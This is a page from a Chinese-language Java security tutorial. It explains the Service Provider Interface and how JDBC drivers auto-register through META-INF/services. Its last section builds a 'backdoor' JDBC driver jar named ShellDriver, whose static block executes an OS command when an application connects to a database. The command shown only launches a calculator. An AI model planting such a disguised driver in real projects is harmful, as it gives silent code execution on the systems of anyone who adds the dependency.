Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 What Is SPI
  • 0x02 Best Practice
  • 0x03 SPI + JDBC
  • 0x04 JDBC Driver后门

Was this helpful?

  1. 🍖Prerequisites
  2. 类加载

SPI

PreviousBCELNextRMI & JNDI

Last updated 1 year ago

Was this helpful?

0x01 What Is SPI

Service Provider Interface:是JDK内置的一种服务提供发现机制,是Java提供的一套用来被第三方实现或扩展的接口,它可以用来启动框架扩展和替换组件。SPI是为这些被扩展的API寻找服务实现。不同厂商可以针对同一接口做出不同的实现。

  • API:实现方制定接口并完成对接口的实现,调用方仅仅依赖接口调用,无权选择不同实现。API被应用开发人员使用

  • SPI:应用方制定接口规范,提供给外部来实现,调用方在调用时则选择自己需要的外部实现。SPI被框架扩展人员使用

如java.sql.Driver接口

0x02 Best Practice

接口:

package com.demo.spi;

public interface SpiService {
    public void say();
}

实现类:

package com.demo.spi;

public class SPI_1 implements SpiService{

    @Override
    public void say() {
        System.out.println("SPI_1 at your service");
    }
}
package com.demo.spi;

public class SPI_2 implements SpiService{

    @Override
    public void say() {
        System.out.println("SPI_2 at your service");
    }
}

在classpath下面创建目录META-INF/services/,创建一个名字为上面接口全限定名的文件

测试:

package com.demo.spi;

import java.util.ServiceLoader;

public class SpiTest {
    public static void main(String[] args) {
        ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
        for (SpiService spiService : serviceLoader) {
            spiService.say();
        }
    }
}

0x03 SPI + JDBC

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.27</version>
</dependency>

JDBC连接数据库经常是下面的写法,首先是注册驱动,告诉程序使用哪种数据库

// 注册驱动
Class.forName("com.mysql.cj.jdbc.Driver");
// 获取连接对象
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root", "root");

驱动jar包下的META-INF/services文件夹中的java.sql.Driver文件(文件名为SPI接口)中已经把Driver类路径记录下来了

若程序中没有注册驱动,会先读取这个文件,自动注册驱动。

这里就用到了SPI技术,它通过在ClassPath路径下的META-INF/services文件夹查找文件,实现类自动加载

Java类加载过程中,有一步是初始化(Initialization),初始化阶段会执行被加载类的Static Blocks。

注册驱动时执行了Class.forName("com.mysql.cj.jdbc.Driver"),Class.forName()默认会进行类的初始化

@CallerSensitive
public static Class<?> forName(String className) throws ClassNotFoundException {
    Class<?> caller = Reflection.getCallerClass();
    // 第二个参数为initialized,表示是否进行初始化
    // 第三个参数为类加载器,默认使用调用者的ClassLoader
    return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

com.mysql.cj.jdbc.Driver的静态代码中调用了DriverManager的registerDriver静态方法

package com.mysql.cj.jdbc;
 
import java.sql.DriverManager;
import java.sql.SQLException;
 
public class Driver extends NonRegisteringDriver implements java.sql.Driver {
    public Driver() throws SQLException {
    }
 
    static {
        try {
           // 使用DriverManager类的registerDriver静态方法来注册驱动
            DriverManager.registerDriver(new Driver());
        } catch (SQLException var1) {
            throw new RuntimeException("Can't register driver!");
        }
    }
}

因此JVM会尝试去加载DriverManager类,进而执行DriverManager的静态代码,调用类中的loadInitialDrivers方法

static {
        loadInitialDrivers();
        println("JDBC DriverManager initialized");
}

private static void loadInitialDrivers() {
        String drivers;
        try {
            drivers = AccessController.doPrivileged(new PrivilegedAction<String>() {
                public String run() {
                    return System.getProperty("jdbc.drivers"); // 也可以通过设置系统属性来加载驱动
                }
            });
        } //...
        AccessController.doPrivileged(new PrivilegedAction<Void>() {
            public Void run() {
                ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);
                Iterator<Driver> driversIterator = loadedDrivers.iterator();
                try{
                    while(driversIterator.hasNext()) {
                        driversIterator.next();
                    }
            }
        // ....
        String[] driversList = drivers.split(":");
        for (String aDriver : driversList) {
            try {
                Class.forName(aDriver, true,
                        ClassLoader.getSystemClassLoader());
            } // ...
        }
}

注意到ServiceLoader.load(Driver.class)进行了类加载

public static <S> ServiceLoader<S> load(Class<S> service) {
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    return ServiceLoader.load(service, cl);
}

最后得到的driversIterator就是LazyIterator

懒迭代器,顾名思义,需要用的时候才迭代

hasNext => hasNextService

ServiceLoader<S>类有常量属性PREFIX = "META-INF/services/"

service.getName()获取接口全类名,拼接得到SPI文件名,读取得到实现类的类名

调用其next方法 => nextService方法

private S nextService() {
    if (!hasNextService())
        throw new NoSuchElementException();
    String cn = nextName;
    nextName = null;
    Class<?> c = null;
    try {
        c = Class.forName(cn, false, loader);
        //...
    }
  • Thread.currentThread().getContextClassLoader();获取类加载器

  • 扩展的实现类通过c = Class.forName(cn, false, loader);获取

Class.forName()默认使用调用者的ClassLoader,我们是在DriverManager类里调用ServiceLoader的,所以调用类也就是DriverManager,它的加载器是Bootstrap ClassLoader。我们知道Bootstrap ClassLoader加载rt.jar包下的所有类,要用Bootstrap ClassLoader去加载用户自定义的类是违背双亲委派的,所以使用Thread.currentThread().getContextClassLoader去指定AppClassLoader(ServiceLoader.load传入的)

查看ClassPath下有那些JDBC Driver

import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;

public class JdbcDriverList {
    public static void main(String[] args) {
        ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader());

        for (Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {
            Driver driver = iterator.next();
            System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
        }
    }
}

0x04 JDBC Driver后门

现在我们尝试自己编写一个后门驱动jar包,让用户引入后门jar包,在建立JDBC连接时,触发执行命令

jar cvf ShellDriver.jar ShellDriver.class

jar中的META-INF下需要有services文件夹

services文件夹下为java.sql.Driver,内容为com.mysql.fake.jdbc.ShellDriver

这是为了让SPI找到我们要加载的类ShellDriver

package com.mysql.fake.jdbc;

import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;

public class ShellDriver implements java.sql.Driver {
    protected static final String WindowsCmd = "calc";

    protected static final String LinuxCmd = "open -a calculator";

    protected static  String shell;

    protected static  String args;

    protected static  String cmd;

    static {
        if( System.getProperty("os.name").toLowerCase().contains("windows") ){
            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {
            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{
            Runtime.getRuntime().exec(new String[] {shell, args, cmd});
        } catch(Exception ignored) {
        }
    }

    @Override
    public Connection connect(String url, Properties info) throws SQLException {
        return null;
    }

    @Override
    public boolean acceptsURL(String url) throws SQLException {
        return false;
    }

    @Override
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
        return new DriverPropertyInfo[0];
    }

    @Override
    public int getMajorVersion() {
        return 0;
    }

    @Override
    public int getMinorVersion() {
        return 0;
    }

    @Override
    public boolean jdbcCompliant() {
        return false;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

执行JDBC连接数据库操作,成功弹出计算器

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class Jdbc_Demo {
    public static void main(String[] args) throws Exception {
        // 注册驱动
        Class.forName("com.mysql.cj.jdbc.Driver");
        // 获取数据库连接对象
        Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3308/test","root", "123456");
        //  定义sql语句
        String sql = "select * from flag";
        // 获取执行sql的对象Statement
        Statement stmt = con.createStatement();
        // 执行sql
        ResultSet res = stmt.executeQuery(sql);
        // 处理对象
        while(res.next()) {
            System.out.println(res.getString("flag"));
        }
        // 释放资源
        res.close();
        stmt.close();
        con.close();
    }
}

注意:Class.forName(className, initia, currentLoader)

第二个参数指定是否初始化,nextService中第二个参数为false。因此不会执行待加载类的静态代码。实际上是后面对加载的Class进行newInstance时才执行了静态代码

image-20230123013436497
image-20230123012616159
image-20230123013953375
image-20230123014138191
image-20230123014749261
image-20230123014758193
image-20230123014806266
image-20230123122535820
image-20230123015151674
image-20230123015541428
image-20230123015747559